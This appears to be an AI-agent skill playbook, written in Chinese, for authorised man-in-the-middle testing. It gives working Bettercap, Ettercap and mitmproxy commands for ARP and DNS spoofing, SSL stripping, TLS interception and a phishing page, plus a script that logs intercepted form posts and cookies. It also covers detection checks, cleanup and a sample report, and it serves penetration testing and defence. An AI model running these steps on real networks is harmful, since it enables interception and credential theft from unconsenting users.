conducting-man-in-the-middle-attack-simulation

name	conducting-man-in-the-middle-attack-simulation
description	在授权环境中使用 Ettercap、mitmproxy 和 Bettercap 模拟中间人攻击（man-in-the-middle attacks）， 拦截、分析和修改网络流量，以测试加密执行、证书验证和检测能力。
domain	cybersecurity
subdomain	network-security
tags	["network-security","mitm","bettercap","ettercap","mitmproxy"]
version	1.0
author	mahipal
license	Apache-2.0

中间人攻击模拟演练

适用场景

• 测试应用程序是否正确验证 TLS 证书并强制执行加密通信
• 向组织利益相关方演示明文协议（HTTP、FTP、Telnet、SMTP）的风险
• 验证 HSTS、证书固定（certificate pinning）及其他反中间人攻击控制措施是否正确实施
• 评估网络对 ARP 欺骗（ARP spoofing）、DHCP 欺骗和 DNS 欺骗攻击的检测能力
• 训练事件响应（Incident Response）团队识别和响应中间人攻击指标

不适用于：在未经明确书面授权和回滚计划的情况下对生产网络使用，针对您不拥有或未获授权测试的系统，或拦截无关第三方的通信。

前置条件

• 书面授权，说明范围内目标和批准的中间人攻击技术
• 在攻击机上安装 Bettercap 2.x、Ettercap 和 mitmproxy
• 对目标主机所在网络分段的二层（Layer 2）访问权限
• 用于 TLS 拦截测试的自定义 CA 证书（专门为本次任务生成）
• 用于捕获和验证拦截流量的 Wireshark 或 tshark
• 隔离的实验室环境，或已获批准的生产测试窗口（含回滚程序）

工作流程

步骤 1：搭建攻击环境

# 启用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# 禁用 ICMP 重定向
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# 为 TLS 拦截生成 CA 证书
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# 发现目标网络上的主机
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

步骤 2：使用 Bettercap 执行基于 ARP 的中间人攻击

# 以交互模式启动 Bettercap
sudo bettercap -iface eth0

# 启用网络探测以发现主机
> net.probe on

# 显示已发现的主机
> net.show

# 设置目标（受害者：192.168.1.50，网关：192.168.1.1）
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true

# 启动 ARP 欺骗
> arp.spoof on

# 启用 HTTP 代理进行流量检查
> set http.proxy.sslstrip true
> http.proxy on

# 使用证书拦截启用 HTTPS 代理
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on

# 对特定域名启用 DNS 欺骗
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on

# 启用凭据嗅探器
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on

步骤 3：使用 mitmproxy 拦截 HTTP/HTTPS 流量

# 以透明代理模式启动 mitmproxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
  --set ssl_insecure=true -w mitm_capture.flow

# 配置 iptables 将流量重定向到 mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# 使用 mitmproxy 脚本进行自动化凭据提取
cat > extract_creds.py << 'PYEOF'
"""mitmproxy 脚本，用于从拦截的流量中提取凭据。"""
from mitmproxy import http
import json

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        content_type = flow.request.headers.get("content-type", "")
        if "form" in content_type or "json" in content_type:
            with open("captured_forms.log", "a") as f:
                f.write(f"URL: {flow.request.pretty_url}\n")
                f.write(f"Data: {flow.request.get_text()}\n")
                f.write("---\n")

def response(flow: http.HTTPFlow):
    # 记录认证 Cookie
    if "set-cookie" in flow.response.headers:
        with open("captured_cookies.log", "a") as f:
            f.write(f"URL: {flow.request.pretty_url}\n")
            f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
            f.write("---\n")
PYEOF

sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow

步骤 4：执行 DNS 欺骗和 DHCP 攻击

# 使用 Ettercap 进行 DNS 欺骗
sudo tee /etc/ettercap/etter.dns << 'EOF'
# 将目标域名重定向到攻击者的 Web 服务器
example.com      A   192.168.1.99
*.example.com    A   192.168.1.99
www.example.com  A   192.168.1.99
EOF

sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//

# 使用 Bettercap 进行 DHCP 欺骗（提供以攻击者为网关的流氓 DHCP）
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on

# 在攻击者机器上设置钓鱼页面
sudo python3 -m http.server 80 --directory /var/www/phishing/

步骤 5：验证检测并测试控制措施

# 验证目标应用程序的证书固定是否有效
# 如果应用拒绝中间人攻击 CA，则证书固定有效
# 检查目标机器上的证书错误

# 测试 HSTS 执行
# 初始 HTTPS 后浏览器拒绝 HTTP 连接，则 HSTS 有效
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"

# 验证 IDS 对 ARP 欺骗的检测
# 检查 Snort/Suricata ARP 异常告警
grep -i "arp" /var/log/snort/alert_fast.txt

# 检查交换机是否检测到攻击（DAI 日志）
# 在 Cisco 交换机上：show ip arp inspection log

# 测试网络监控工具
# 验证 Zeek 是否生成了相应的告警
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg

# 捕获成功/失败拦截的证据
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300

步骤 6：清理并记录结果

# 停止所有中间人攻击
# 在 Bettercap 中：
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit

# 恢复 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0

# 删除 iptables 规则
sudo iptables -t nat -F PREROUTING

# 验证目标主机的 ARP 表是否已恢复
# 目标应通过正常 ARP 重新学习正确的 MAC 地址

# 强制刷新 ARP 缓存（从目标机器执行）
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1

# 从安装过测试 CA 证书的系统中移除它
# 按任务协议删除包含敏感数据的捕获文件

# 生成文档
echo "MITM 模拟在 $(date) 完成" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt

核心概念

术语	定义
中间人攻击（Man-in-the-Middle, MITM）	攻击者秘密拦截并可能篡改两方之间通信的攻击，而双方误以为在直接通信
SSL 剥离（SSL Stripping）	通过在 TLS 升级前拦截初始 HTTP 请求，将 HTTPS 连接降级为 HTTP 的降级攻击，绕过加密
HSTS（HTTP 严格传输安全）	强制 HTTPS 连接的浏览器安全策略，通过缓存加密连接要求来防止 SSL 剥离
证书固定（Certificate Pinning）	将服务器证书与预配置的可信证书集进行验证的应用安全控制，可检测中间人代理证书
ARP 缓存投毒（ARP Cache Poisoning）	通过破坏目标主机的 ARP 缓存，将流量重定向到攻击者机器的二层攻击技术
透明代理（Transparent Proxy）	无需客户端配置即可拦截流量的代理，通常使用 iptables REDIRECT 规则捕获发往标准端口的流量

工具与系统

• Bettercap 2.x：网络攻击瑞士军刀，支持 ARP/DNS/DHCP 欺骗、HTTP/HTTPS 代理和凭据嗅探，具有模块化架构
• mitmproxy：支持 TLS 的交互式代理，用于拦截、检查和修改 HTTP/HTTPS 流量，支持 Python 脚本
• Ettercap：传统中间人攻击工具，支持 ARP 欺骗、DNS 欺骗和基于插件的流量操纵
• sslstrip：实现 SSL 剥离攻击的工具，通过代理 HTTP 到 HTTPS 重定向并提供降级的 HTTP 版本
• Wireshark：数据包分析器，用于验证流量拦截并捕获中间人攻击成功或失败的证据

常见场景

场景：测试内部 Web 应用程序的 HTTPS 执行情况

场景背景：开发团队声称其内部 Web 应用程序强制执行 HTTPS 并配有 HSTS 和证书固定。安全团队需要在授权评估期间验证这些控制措施。应用程序运行在 10.10.20.50，由 10.10.1.0/24 VLAN 上的工作站访问。

方法：

1. 在同一 VLAN 上设置 Bettercap，并对测试工作站（10.10.1.100）进行 ARP 欺骗
2. 通过 Bettercap 的 HTTP 代理启用 SSL 剥离，测试应用程序是否可降级为 HTTP
3. 使用测试 CA 证书启用 HTTPS 拦截，以测试证书验证
4. 从测试工作站尝试访问应用程序，观察浏览器或应用程序是否拒绝连接
5. 验证 HSTS 头部是否存在且具有适当的 max-age 值
6. 记录厚客户端未实现证书固定（接受中间人攻击 CA），而 Web 浏览器由于 HSTS 预加载而正确拒绝
7. 建议在厚客户端应用程序中实现证书固定

常见陷阱：

• 忘记启用 IP 转发，导致拒绝服务而非透明拦截
• 在 HSTS 已预加载到浏览器的应用上测试 SSL 剥离后得出 HSTS 有效的结论，而实际上全新浏览器实例可能仍有漏洞
• 测试后未清理 ARP 欺骗，导致目标间歇性连接问题
• 未使用透明模式标志运行 mitmproxy，需要手动代理配置，改变了测试条件

输出格式

## 中间人攻击模拟报告

**测试 ID**: MITM-2024-001
**日期**: 2024-03-15 14:00-16:00 UTC
**目标应用程序**: https://app.internal.corp (10.10.20.50)
**测试工作站**: 10.10.1.100
**攻击机器**: 10.10.1.99

### 控制验证结果

| 控制项 | 状态 | 详情 |
|---------|--------|---------|
| HTTPS 重定向 | 通过 | HTTP 请求以 301 重定向到 HTTPS |
| HSTS 头部 | 通过 | max-age=31536000; includeSubDomains; preload |
| SSL 剥离（浏览器） | 已阻止 | HSTS 阻止 Chrome/Firefox 中的降级 |
| SSL 剥离（厚客户端） | 存在漏洞 | 客户端在无 HSTS 的情况下跟随 HTTP 重定向 |
| 证书固定（浏览器） | 不适用 | 仅标准 CA 验证 |
| 证书固定（厚客户端） | 存在漏洞 | 接受中间人攻击 CA 而不验证 |
| IDS 检测 | 通过 | Snort 在 12 秒内生成 ARP 欺骗告警 |

### 建议
1. 在厚客户端实现证书固定（高优先级）
2. 提交域名到 HSTS 预加载列表
3. 在接入层交换机上启用动态 ARP 检测（DAI）进行二层保护
4. 配置应用程序拒绝来自非固定证书的连接